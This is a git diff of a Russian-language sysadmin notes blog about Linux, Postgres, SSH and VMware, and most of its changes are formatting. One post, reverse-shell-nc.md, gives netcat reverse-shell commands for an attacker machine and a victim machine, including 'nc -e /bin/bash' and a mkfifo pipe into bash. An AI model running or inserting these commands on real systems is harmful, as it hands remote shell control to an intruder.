diff --git a/content/posts/astra-fly.md b/content/posts/astra-fly.md index aa60798..3ba5db2 100644 --- a/content/posts/astra-fly.md +++ b/content/posts/astra-fly.md @@ -5,12 +5,12 @@ description: Небольшая памятка tags: [linux, astra] --- ## Установка пакета fly -```bash +```shell apt install fly-all-main ``` ## Загрузка ОС с GUI по-умолчанию -```bash +```shell systemctl set-default graphical.target ``` @@ -22,6 +22,6 @@ systemctl get-default ``` ### Вернуть загрузку ОС с CLI -```bash +```shell systemctl set-default multi-user.target ``` diff --git a/content/posts/home-en-folders.md b/content/posts/home-en-folders.md index 11c8da8..16911cd 100644 --- a/content/posts/home-en-folders.md +++ b/content/posts/home-en-folders.md @@ -6,6 +6,7 @@ tags: [linux] --- ## Смена имени + Команда создаст папки на английском языке и сделает их стандартными. Папки с названиями на русском языке можно удалить. ```bash LANG=C xdg-user-dirs-update --force diff --git a/content/posts/ip-command.md b/content/posts/ip-command.md index bfda90e..d712ab7 100644 --- a/content/posts/ip-command.md +++ b/content/posts/ip-command.md @@ -4,25 +4,30 @@ date: 2022-11-25T19:17:00+05:00 description: Команда ip в Linux tags: [linux] --- + ## Показать все интерфейсы -```shell + +```bash ip a ip l ``` ## Показать информацию по конкретному интерфейсу -```shell + +```bash ip a show ip l show ``` ## Изменить статус сетевого интерфейса + ```shell ip l set down ip l set up ``` ## Добавить или удалить адрес + ```shell ip a add dev ip a add brd dev diff --git a/content/posts/linux-krb5.md b/content/posts/linux-krb5.md index 90c60bf..508995d 100644 --- a/content/posts/linux-krb5.md +++ b/content/posts/linux-krb5.md @@ -7,6 +7,7 @@ tags: [linux, krb5] ## Конфигурация сервера ### Установка пакетов + ```shell apt -y install krb5-kdc krb5-admin-server ``` @@ -14,19 +15,23 @@ apt -y install krb5-kdc krb5-admin-server ## Конфигурация клиента ### Установка пакетов + ```shell apt -y install krb5-user libpam-krb5 ``` ## Общая конфигурация + На сервере и клиенте надо проделать следующие шаги: ### Смена hostname + ```shell hostnamectl set-hostname ``` ### Правка файла hosts + Вместо правки файла `/etc/hosts` можно поднять DNS-сервер и сделать записи там. ```config @@ -34,6 +39,7 @@ hostnamectl set-hostname ``` ### Редактирование конфига Kerberos + В `/etc/krb5.conf` необходимо добавить данные а реалме и kdc: ```config [libdefaults] @@ -55,11 +61,13 @@ hostnamectl set-hostname ## Создание нового реалма (на сервере) ### Создание master key для БД krb5 + ```shell krb5_newrealm ``` ### Создание учётной записи администратора + ```shell kadmin.local addprinc /admin diff --git a/content/posts/linux-network.md b/content/posts/linux-network.md index ae12c4f..ab6655a 100644 --- a/content/posts/linux-network.md +++ b/content/posts/linux-network.md @@ -13,6 +13,7 @@ nameserver ``` ## Статика + В файл `/etc/network/interfaces.d/` необходимо добавить следующие строки: ```shell @@ -24,6 +25,7 @@ iface inet static ``` ## DHCP + В файл `/etc/network/interfaces.d/` необходимо добавить следующие строки: ```shell diff --git a/content/posts/linux-nfs.md b/content/posts/linux-nfs.md index 17c32c4..ea4cd1c 100644 --- a/content/posts/linux-nfs.md +++ b/content/posts/linux-nfs.md @@ -7,17 +7,20 @@ tags: [linux, nfs] ## Настройка NFS-сервера ### Установка пакета + ```shell apt -y install nfs-kernel-server ``` ### Создание каталога, который будет расшарен + ```shell mkdir /nfs chmod 777 /nfs ``` ### Разрешение сетевого доступа + В файл `/etc/exports` необходимо добавить следующую строку: ```config @@ -27,16 +30,19 @@ chmod 777 /nfs ## Настройка NFS-клиента ### Установка пакета + ```shell apt -y install nfs-common ``` ### Запуск службы + ``` shell systemctl enable --now rpcbind ``` ### Автомонитрование + В файл `/etc/fstab` необходимо добавить следующую строку: ```shell diff --git a/content/posts/linux-packages-rebuild.md b/content/posts/linux-packages-rebuild.md index e693d79..10f944c 100644 --- a/content/posts/linux-packages-rebuild.md +++ b/content/posts/linux-packages-rebuild.md @@ -7,16 +7,19 @@ tags: [linux] ## Распаковка пакета ### Распаковка данных + ```shell dpkg -x ".deb" ``` ### Распаковка метаданных + ```shell dpkg -e ".deb" /DEBIAN ``` ## Сборка пакета + ```shell dpkg -b ".deb" ``` diff --git a/content/posts/lvm-base-commands.md b/content/posts/lvm-base-commands.md index 92637ba..295eba8 100644 --- a/content/posts/lvm-base-commands.md +++ b/content/posts/lvm-base-commands.md @@ -4,12 +4,15 @@ description: Базовые команды date: 2022-11-25T13:58:10+05:00 tags: [linux, lvm] --- + ## Установка пакекта + ```shell apt -y install lvm2 ``` ## Создание + ``` shell pvcreate /dev/sda vgcreate vg-name /dev/sda @@ -17,6 +20,7 @@ lvcreate -L 10G -n lv-name vg-name ``` ## Изменение + ```shell vgextend vg /dev/sdb lvresize -rL +1G /dev/vg-name/lv-name @@ -24,6 +28,7 @@ lvresize -rl +100%FREE /dev/vg-name/lv-name ``` ## Просмотр + ```shell pvs vgs diff --git a/content/posts/pfx-to-pem.md b/content/posts/pfx-to-pem.md index a26d3a9..edae6ce 100644 --- a/content/posts/pfx-to-pem.md +++ b/content/posts/pfx-to-pem.md @@ -6,24 +6,24 @@ tags: [linux, tls] --- ## Извлечение сертификата и ключа -```shell +```bash openssl pkcs12 -in .pfx -out .pem -nodes ``` ## Извлечение сертификата -```shell +```bash openssl pkcs12 -in .pfx -clcerts -nokeys -out .pem ``` ## Извлечение ключа -```shell +```bash openssl pkcs12 -in .pfx -nocerts -out .tmp.key ``` ## Обеспароливание ключа -```shell +```bash openssl rsa -in .tmp.key -out .key ``` diff --git a/content/posts/postgres-drop-db.md b/content/posts/postgres-drop-db.md index 3d9170d..892b061 100644 --- a/content/posts/postgres-drop-db.md +++ b/content/posts/postgres-drop-db.md @@ -5,30 +5,32 @@ date: 2023-03-03T13:26:00+05:00 tags: [linux, postgres] --- ## На старой версии (<=12) + Заходим в консоль Postgres: -```shell +```bash psql ``` Убиваем соединения с БД: -```psql +```sql SELECT pg_terminate_backend (pid) FROM pg_stat_activity WHERE pg_stat_activity.datname = ''; ``` Дропаем БД: -```shell +```sql DROP DATABASE ; ``` ## На новой версии (>=13) + Заходим в консоль Postgres: -```shell +```bash psql ``` Дропаем БД: -```psql +```sql DROP DATABASE WITH (FORCE); ``` diff --git a/content/posts/postgres-ldaps.md b/content/posts/postgres-ldaps.md index 47318e4..4eb23b1 100644 --- a/content/posts/postgres-ldaps.md +++ b/content/posts/postgres-ldaps.md @@ -10,16 +10,18 @@ AD необходимо дать роль CA и выпустить сертиф ## Перенос сертификата Необходимо перенести выпущенный конечный сертификат на сервер СУБД и перекодировать следующей командой: -```shell +```bash openssl x509 -inform der -in .cer -out .pem ``` ## Установка пакета ldap-utils + ```shell apt install ldap-utils -y ``` ## Правка ldap конфига + В файл `/etc/ldap/ldap.conf` необходимо добавить следующие строки: ```config @@ -29,23 +31,26 @@ URI ldaps://..:636 ``` ## Проверка ldap -```shell + +```bash ldapsearch -x -b "dc=,dc=" -H ldaps://..:636 -W -D ``` ## Правка pg_hba.conf + С ldapprefix/ldapsuffix в файле `/var/lib/pgpro/std-14/data/pg_hba.conf`, возможно, придётся поколдовать. Стоит попробовать их оставить пустыми (=""). ```config host / ldap ldapserver=.. ldapscheme=ldaps ldapprefix="cn=" ldapsuffix=",cn=users,dc=,dc=" ``` ## Создание пользователя в Postgres -```shell + +```bash psql -c "CREATE USER ;" ``` ## Перезапуск Postgres Pro + ```shell systemctl restart postgres* ``` - diff --git a/content/posts/postgres-pro-astra-se.md b/content/posts/postgres-pro-astra-se.md index 26e8557..4dc5380 100644 --- a/content/posts/postgres-pro-astra-se.md +++ b/content/posts/postgres-pro-astra-se.md @@ -5,6 +5,7 @@ date: 2022-11-25T16:20:00+05:00 tags: [linux, astra, postgres] --- ## Добавление репозитория + ``` shell apt -y install gnupg wget -O - http://repo.postgrespro.ru/keys/GPG-KEY-POSTGRESPRO | apt-key add - @@ -12,23 +13,27 @@ echo "deb http://repo.postgrespro.ru/pgpro-14/astra-smolensk/1.7 1.7_x86-64 main ``` ## Установка пакета + ```shell apt update apt -y install postgrespro-std-14 ``` ## systemd + ```shell /opt/pgpro/std-14/bin/pg-setup service enable --now ln -s /lib/systemd/system/postgrespro-std-14.service /etc/systemd/system/postgresql.service ``` ## Обновление путей + ```shell /opt/pgpro/std-14/bin/pg-wrapper links update ``` ## Смена пароля postgres + ```shell su - postgres psql -c "ALTER USER postgres PASSWORD '';" diff --git a/content/posts/postgres-replication.md b/content/posts/postgres-replication.md index 88eef0b..d8ebd0b 100644 --- a/content/posts/postgres-replication.md +++ b/content/posts/postgres-replication.md @@ -4,6 +4,7 @@ description: Потоковая репликация и репликация с date: 2022-11-25T16:51:00+05:00 tags: [linux, postgres, nfs] --- + ## Установка Postgres Pro Процесс установки описан в [этом посте](/posts/postgres-pro-astra-se). @@ -11,17 +12,16 @@ tags: [linux, postgres, nfs] Про различия в реализациях репликаций можно почитать вот [здесь](//edu.postgrespro.ru/dba3/dba3_04_replica_physical.pdf). ### Конфигурация master -Действия с Postgres Pro следует выполнять от имени пользователя postgres. -```shell -su - postgres -``` #### Создание пользователя для репликации -```shell + +```bash +su - postgres psql -c "CREATE ROLE repuser WITH REPLICATION LOGIN ENCRYPTED PASSWORD '';" ``` #### Разрешение подключения для slave + Дописываем в конец файла `/var/lib/pgpro/std-*/data/pg_hba.conf`: ```config @@ -29,7 +29,8 @@ host replication repuser /32 md5 ``` #### Реконфигурация -В файл `/var/lib/pgpro/std-13/data/postgresql.conf` необходимо добавить следующие строки: + +В файл `/var/lib/pgpro/std-*/data/postgresql.conf` необходимо добавить следующие строки: ```config listen_addresses = 'localhost, ' @@ -54,13 +55,16 @@ pg_basebackup -P -R -X stream -c fast -h -U postgres -D /var/lib/pgp ``` ## Репликация с архивом + Настройка репликации с архивом выролняется с некоторыми отличиями от потоковой репликации: ### Развёртывание NFS + WAL-архивы будут складываться на NFS. Как сконфигурировать NFS написано [здесь](/posts/linux-nfs). Необходимо смонтировать NFS на master и slave в одинаковые директории. ### Дополнение к реконфигурации + В файл `/var/lib/pgpro/std-*/data/postgresql.conf` необходимо добавить следующие строки: ```config @@ -69,6 +73,7 @@ archive_cleanup_command = 'pg_archivecleanup -d /nfs %r 2>>cleanup.log' ``` ## Синхронный и асинхронный режим репликации + При синхронной репликации, изменения применятся на основном сервере только после того, как они запишутся в WAL хотя бы одной реплики, а при асинхронной - сразу. По умолчанию репликация работает в асинхронном режиме. Для того, чтобы она работала в синхронном режиме, необходимо изменить две строки в конфигурационном файле Postgres Pro `/var/lib/pgpro/std-*/data/postgresql.conf`: diff --git a/content/posts/postgres-simple-backup.md b/content/posts/postgres-simple-backup.md index 12b8d43..9109bc5 100644 --- a/content/posts/postgres-simple-backup.md +++ b/content/posts/postgres-simple-backup.md @@ -5,6 +5,7 @@ date: 2022-12-14T16:48:00+05:00 tags: [linux, postgres] --- ## Скрипт для бэкапа БД и глобальных объектов + В файл `/home//pg-backup.sh` необходимо добавить следующие строки: ```config #!/usr/bin/env bash @@ -14,13 +15,15 @@ pg_dumpall -U -h --globals --file=gb-$(date '+%Y-%m-%d' ``` ## Файл cron с запуском скрипта (каждый день в 2:00) + Необходимо дописать в конец `crontab -e -u ` следующие строки: ```config 0 2 * * * /usr/bin/env bash /home//pg-backup.sh ``` ## Рестор файлов БД и глобальных объектов -```shell + +```bash pg_restore -C -d postgres -.dump psql -U postgres < gb-.dump ``` diff --git a/content/posts/postgres-tls.md b/content/posts/postgres-tls.md index dbc467d..36fd72f 100644 --- a/content/posts/postgres-tls.md +++ b/content/posts/postgres-tls.md @@ -5,13 +5,15 @@ date: 2022-11-28T20:25:00+05:00 tags: [linux, postgres, tls] --- ## Создание сертификата + В этом посте я буду использовать самоподписанный сертификат, но сертификат от Let's Encrypt тоже подойдёт. Сертификат и ключ желательно держать в той же папке, где лежат конфиги Postgres Pro. -```shell +```bash openssl req -x509 -newkey rsa:4096 -keyout .pem -out .pem -sha256 -days 365 ``` ## Включение TLS + В файл `/var/lib/pgpro/std-*/data/postgresql.conf` необходимо добавить следующие строки: ```config ssl = on @@ -21,12 +23,14 @@ listen_addresses = 'localhost, ' ``` ## Разрешение доступа через TLS + В файл `/var/lib/pgpro/std-*/data/pg_hba.conf` необходимо добавить следующие строки: ```config hostssl scram-sha-256 ``` ## (ре)Генерация пароля + В случае, если до этого хеш-алгоритм пароля был не scram-sha-256, то необходимо пересоздать пароль: ```shell psql -c \password diff --git a/content/posts/postgres-update.md b/content/posts/postgres-update.md index 2d1419a..95c55a0 100644 --- a/content/posts/postgres-update.md +++ b/content/posts/postgres-update.md @@ -6,7 +6,7 @@ tags: [linux, postgres] --- ## Листинг запущенных экземпляров PostgreSQL -```shell +```bash pg_lsclusters ``` diff --git a/content/posts/rdg-from-linux.md b/content/posts/rdg-from-linux.md index 81681cd..7f1e90d 100644 --- a/content/posts/rdg-from-linux.md +++ b/content/posts/rdg-from-linux.md @@ -6,6 +6,7 @@ tags: [linux, windows] --- ## Подключение + Если используешь иксы, то вместо `wlfreerdp` пиши `xfreerdp`: ```bash wlfreerdp /gu: /u: /gp: /p: /v: /g: /sound /microphone:sys:alsa,dev:hw:0,0 /f diff --git a/content/posts/reverse-shell-nc.md b/content/posts/reverse-shell-nc.md index a35eca4..de49ec2 100644 --- a/content/posts/reverse-shell-nc.md +++ b/content/posts/reverse-shell-nc.md @@ -4,16 +4,19 @@ description: Используя Traditional и OpenBSD Netcat date: 2022-12-09T15:02:00+05:00 tags: [linux, ssh, hack] --- + ## Машина атакующего ```shell nc -lvp ``` ## Машина жертвы (Traditional Netcat) + ```shell nc -e /bin/bash ``` ## Машина жертвы (OpenBSD Netcat) + ```shell mkfifo /tmp/rev; nc < /tmp/rev | /bin/bash 2>&1 | tee /tmp/rev > /dev/null ``` diff --git a/content/posts/ruby-packer.md b/content/posts/ruby-packer.md index d1381a3..a728b40 100644 --- a/content/posts/ruby-packer.md +++ b/content/posts/ruby-packer.md @@ -83,7 +83,7 @@ bundle exec rake install ## Сборка бинарника -Собираем бинарник. Обязательно при этом необходимо молиться. +Собираем бинарник и молимся. ```shell cd rubyc -r . -d /tmp/ -o exe/ diff --git a/content/posts/selfsigned-to-trusted.md b/content/posts/selfsigned-to-trusted.md index 839cccc..cbe28e9 100644 --- a/content/posts/selfsigned-to-trusted.md +++ b/content/posts/selfsigned-to-trusted.md @@ -5,18 +5,21 @@ date: 2023-05-12T18:20:00+05:00 tags: [linux, astra, alt, tls] --- ## Получение корневого сертификата -```shell + +```bash echo quit | openssl s_client -showcerts -servername -connect :443 > .pem ``` ## Astra Linux ### Перемещение сертификата + ```shell cp .pem /usr/local/share/ca-certificates ``` ### Обновление состава доверенного хранилища + ```shell dpkg-reconfigure ca-certificates ``` @@ -24,11 +27,13 @@ dpkg-reconfigure ca-certificates ## Alt Linux ### Перемещение сертификата + ```shell cp .pem /etc/pki/ca-trust/source/anchors/ ``` ### Обновление состава доверенного хранилища + ```shell update-ca-trust enable update-ca-trust extract diff --git a/content/posts/ssh-2fa-totp.md b/content/posts/ssh-2fa-totp.md index d401b6c..0e5a3ae 100644 --- a/content/posts/ssh-2fa-totp.md +++ b/content/posts/ssh-2fa-totp.md @@ -5,22 +5,23 @@ date: 2022-11-29T13:35:00+05:00 tags: [linux, ssh] --- ## Установка пакета + ```shell apt install -y openssh-server libpam-google-authenticator ``` ## Правка конфига PAM -```shell -auth required pam_google_authenticator.so -# auth required pam_google_authenticator.so +В файл `/etc/pam.d/common-auth` необходимо добавить следующее: +```config +auth required pam_google_authenticator.so ``` ## Правка конфига ssh + +В файл `/etc/ssh/sshd_config` необходимо добавить следующее: ```config ChallengeResponseAuthentication yes - -# /etc/ssh/sshd_config ``` ## Конфигурация аутентификации @@ -32,18 +33,14 @@ google-authenticator ``` ## Управление факторами (необязательно) -Включить запрос ключа при аутентификации: +Для запроса ключа при аутентификации необходимо в файл `/etc/ssh/sshd_config` добавить следующее: ```config AuthenticationMethods publickey,password publickey,keyboard-interactive - -# /etc/ssh/sshd_config ``` -Отключить запрос пароля при аутентификации: +Для отключения запроса пароля при аутентификации необходимо в файле `/etc/pam.d/sshd` закомментировать следующюю строку: ```config -#@include common-auth - -# /etc/pam.d/sshd +# @include common-auth ``` ## Перезапуск сервиса ssh diff --git a/content/posts/ssh-fail2ban.md b/content/posts/ssh-fail2ban.md index b160325..0923d6c 100644 --- a/content/posts/ssh-fail2ban.md +++ b/content/posts/ssh-fail2ban.md @@ -10,6 +10,7 @@ apt -y install fail2ban ``` ## Правило для ssh +В файл `/etc/fail2ban/jail.d/sshd.conf` необходимо добавить следующее: ```config [sshd] enabled = true @@ -19,8 +20,6 @@ logpath = /var/log/auth.log maxretry = 3 findtime = 300 bantime = 3600 - -# /etc/fail2ban/jail.d/sshd.conf ``` ## Перезапуск сервиса fail2ban diff --git a/content/posts/vmware-clipboard.md b/content/posts/vmware-clipboard.md index 035f6f8..47b7678 100644 --- a/content/posts/vmware-clipboard.md +++ b/content/posts/vmware-clipboard.md @@ -4,11 +4,13 @@ description: У созданных VM будет включен буфер об date: 2022-11-25T15:08:00+05:00 tags: [vmware] --- + ## Изменение конфига + +В файл `/etc/vmware/config` необходимо добавить следующее: + ```config vmx.fullpath = "/bin/vmx" isolation.tools.copy.disable="FALSE" isolation.tools.paste.disable="FALSE" - -# /etc/vmware/config ``` diff --git a/content/posts/vmware-restart-date.md b/content/posts/vmware-restart-date.md index 875eb93..7a717c8 100644 --- a/content/posts/vmware-restart-date.md +++ b/content/posts/vmware-restart-date.md @@ -4,11 +4,14 @@ description: При перезагрузке гипервизора будет date: 2022-11-25T15:18:00+05:00 tags: [vmware] --- + ## Изменение скрипта + +В файл `/etc/rc.local.d/local.sh` необходимо добавить следующее: + ```config #!/bin/sh ++group=host/vim/vmvisor/boot + esxcli system time set --day=20 --month=3 --year=2022 --hour=10 --min=0 --sec=0 exit 0 - -# /etc/rc.local.d/local.sh ``` diff --git a/content/posts/windows-disable-shutdown.md b/content/posts/windows-disable-shutdown.md index f9ef5ae..be12cde 100644 --- a/content/posts/windows-disable-shutdown.md +++ b/content/posts/windows-disable-shutdown.md @@ -4,12 +4,12 @@ description: Позволяет отключить определённую фу date: 2023-04-06T12:15:00+05:00 tags: [windows] --- + ## Отключение В ветке реестра выставить значение value на 1. + ```config Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideShutDown Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideRestart Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideSleep - -# regedit ```